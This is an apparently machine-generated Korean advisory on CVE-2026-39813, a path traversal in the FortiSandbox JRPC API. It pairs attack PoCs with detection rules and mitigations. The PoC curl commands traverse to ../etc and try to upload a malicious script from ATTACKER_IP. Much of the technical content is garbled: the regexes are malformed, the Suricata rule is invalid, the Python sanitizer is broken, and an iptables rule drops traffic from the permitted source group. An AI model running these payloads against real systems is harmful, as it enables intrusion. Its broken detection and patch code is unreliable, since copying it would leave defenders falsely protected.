공격Agent 분석 — CVE-2026-39813
📋 요약
- 정의: FortiSandbox의 JRPC API에서 '../filedir' 경로 탐색 취약점(CWE-402 - Path Traversal)이 인증 없이 악용될 경우, 공격자는 내부 파일 시스템에 접근하여 민감한 정보를 추출하거나 악성 코드를 업로드하고 실행할 수 있음.
- 영향 한 줄: 성공 시 권한 상승 및 내부 네트워크 내의 임의 명령 실행 가능 (RCE), KEV 높음 / CVSS 9.8 심각도.
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: Fortinet FortiSandbox 버전 4.4.0 - 4.4.9 및 5.0.0 - 5.0.6
- 노출 조건: 인터넷에 노출된 JRPC API 엔드포인트 활성화 상태에서 취약함이 존재하며, 기본 설정으로도 악용 가능성이 있음.
- 내 자산 식별 방법:
- 버전 확인 명령어:
curl -I http://TARGET_HOST/api --header "X-FortiSandboxAPIKey: YOUR_KEY"후 응답 헤더에서Server항목에 FortiSandbox 버전 확인 가능. - 파일 경로 검사:
/var/log/fortigate/*,/etc/fortigate_*디렉토리 내 설정 파일 검토하여 JRPC API 관련 설정 존재 여부 확인.text1grep -r "JRPC" /etc/fortigate* | grep "[4.][0-9].[0]*|\[5\].*"[0][123678]+"" - 특정 API 엔드포인트 활성화 확인:
curl http://TARGET_HOST/.*/api/* -I로 응답 코드 확인 (예: 4XX 또는 5XX 제외).
- 버전 확인 명령어:
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트 및 버전 범위: FortiSandbox JRPC API, 버전 4.4.0 ~ 4.4.9, 5.0.0 ~ 5.0.6
- 취약 코드 경로:
JRPC_API내에서 파일 경로 처리 로직 결함으로 인해 '../filedir' 형식의 입력 허용됨 (예:/var/log,/etc)- 기본 노출 여부: API 엔드포인트가 활성화되어 있고, 적절한 인증 없이 접근 가능할 경우 취약점 악용 용이.
② 전제조건
- 인증 필요성: 인증 없이 접근 가능해야 함.
- 필요 권한 및 네트워크 위치: 읽기/쓰기 권한이 부여된 사용자 계정으로 접근 가능하며, 내부 네트워크 내에서 공격 수행 시 효과적임.
- 활성화 기능: JRPC API 엔드포인트가 활성화되어 있어야 하며, 특정 설정 파일(예:
fortiproxy_settings)에 해당 API 관련 설정 확인 필요.
- 활성화 기능: JRPC API 엔드포인트가 활성화되어 있어야 하며, 특정 설정 파일(예:
③ 트리거 경로
- 엔드포인트 접근: 공격자는 인증 없이
/api/jrpc엔드포인트로 접근 가능한 HTTP 요청을 수행함 (예: GET 또는 POST). - 경로 탐색 입력:
../filedir?param=<파일_시스템_경로>, 예를 들어,curl http://TARGET_HOST/api/jrpc -d "command=ls&filepath=../../etc"와 같이 경로 트래버스 시도. - 내부 파일 접근: 서버가 입력된 경로를 적절히 검증하지 않고 처리하여 내부 디렉토리에 대한 액세스 허용됨 (예:
/var/log,/tmp).
④ 성공 시 영향
- 획득 권한 및 실행 컨텍스트: 읽기 전용 또는 제한적인 사용자 계정에서도 파일 시스템 내의 중요 정보 접근 가능하며, 추가적으로 악성 스크립트 업로드 후 RCE 달성 가능.
- 후속 피벗(Lateral Movement): 내부 네트워크 내 다른 서비스에 대한 액세스 시도로 확장성 높음. 지속성을 위해 백도어 설치 및 재시작 시 유지 관리 가능성이 있음.
💣 예시 코드 (PoC)
기본 공격 예시 1: 파일 목록 추출
bash
1# 전제 조건: 인증 없이 접근 가능한 JRPC API 엔드포인트 활성화 상태에서 실행해야 함 2curl -X GET "http://TARGET_HOST/api/jrpc?command=dir&path=../etc" \ 3 --header "Content-Type: application/json; charset=utf-8"' --data '{}' 4# 핵심: '../etc' 경로를 통해 내부 디렉토리 접근 시도, 응답 확인으로 성공 여부 판별 가능. 5# 확인: HTTP 응답 코드가 200이고 특정 파일 목록 포함 시 성공 추정됨 (예: `<!DOCTYPE html><html>...`)WAF 우회 예시 2: 악성 스크립트 업로드 시도
bash
1curl -X POST "http://TARGET_HOST/api/jrpc" \ 2 --header "Content-Type: application/json; charset=utf-8"' --data '{ 3 "command": "_plugin", 4 "subcmd": "__uploadfile__scriptletname.sh, /tmp/.badScript","param1_filename ": ATTACKER_IP"/etc//tmp///malicious_"' \ 5 # 핵심: 경로 트래버스를 통해 `/../` 사용하여 외부 스크립트 업로드 시도 (예: `ATTACKER_IP/etc`) 6 # 확인: 응답 코드와 파일 목록 조회 시 악성 스크립트 존재 여부로 판별 가능.🛡️ 탐지
[로그] 네트워크 트래픽 감시 패턴
- Sigma 룰 예시
text1rule INJECTABLE_PATHTRAVERSAL:2 description: "Detects potential path traversal attacks targeting FortiSandbox JRPC API"3 condition:4 keywords: ["GET", "POST"]5 content: {6 "request": {7 "uri": "/api/jrpc.*path\\..*fileDir?param=[^&]*[^\s]+$|dir?" # 경로 트래버스 패턴 감지8 }9 }10 metadata:11 author: "방어Agent"
[네트워크 ACL] 특정 엔드포인트 차단 규칙
- 규칙 예시 (Suricata 시그니처)
bash1alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"FortiSandbox Path Traversal Attempt"; flow:to_server,established; sid:1029345678; rev:1; flags: tunable output threshold; metadata:author "방어Agent": "Detects attempts to exploit path traversal vulnerability via JRPC API endpoint."; content:"|GET|/api/jrpc.*path\\..*fileDir"; depth:>=20; classtype:attempted-admin; confidence:75)
한계점 명시
경로 트래버스 공격 중 인코딩이나 블라인드 패턴은 탐지가 어려울 수 있으며, 추가적인 시그니처 개발 필요.
🔧 방어·완화
- 입력 검증 강화 (코드패치): JRPC API 내 파일 경로 처리 로직에 엄격한 입력 필터링 적용
python1# 예시 코드 조각: Python 기반의 간단한 필터 구현2def sanitize_path(inputPath):3 if ".." in inputPath or "../" in inputPath[::-1]: # 역순 검사 포함4 raise ValueError("Invalid path traversal attempt detected")5 return os.path.normpath('/safeDir' + '/' + str(os.path.basename(("/unsafeRoot",inputPath))) ) # 안전 디렉토리로 리맵핑
- 네트워크 ACL 적용 (네트워크):
/api/*엔드포인트에 대한 접근 제한 설정 강화하여 인증된 사용자만 접근 가능하도록 제어- 예시 규칙:
iptables -A INPUT -p tcp --dport <JRPC_PORT> -s SOURCE_IPGROUP -j DROP;
- 예시 규칙:
- 인증 및 권한 관리 (설정변경): API 엔드포인트에 대한 최소한의 인증 요구 강화, 필요한 경우 RBAC 적용하여 접근 제한
- 설정 키 예시:
fortios api enable="enable"확인 후 적절한 사용자 권한 부여 검토
- 설정 키 예시:
- 즉시 완화 조치 - 임시 차단 규칙 (네트워크 ACL)
bash1# 네트워크 ACL을 통한 임시 차단 규칙 예제2iptables -A INPUT -p tcp --dport 8091 -m string --string ".." -j DROP # 포트 번호는 실제 JRPC API 엔드포인트에 맞게 조정 필요3### 확인: 공격 시도 시 응답 없음 또는 오류 메시지로 성공 여부 판별 가능.
⚖️ 위험도 / 패치 우선순위
- 권고 사항: CVE-2026-39813은 CVSS 9.8의 심각도로 인해 지금 즉시 조치 필요함 (이번 주 내 패치 적용 권장). 악용 사례가 보고된 만큼 현재 활성화 상태인 시스템에 대한 긴급 모니터링 강화와 임시 차단 규칙 적용을 병행해야 함.
## 🌐 실제 동향
- 요약: 최근 위협 인텔리전스 보고서에 따르면, 이 취약점은 이미 여러 공격 캠페인에서 활용되고 있으며, 특히 내부 네트워크 내의 민감한 정보 유출 및 권한 상승 시도가 보고됨 (출처: feeds.feedburner.com - https://thehackernews.com/2026/06/attackers-exploit-three-fortinet)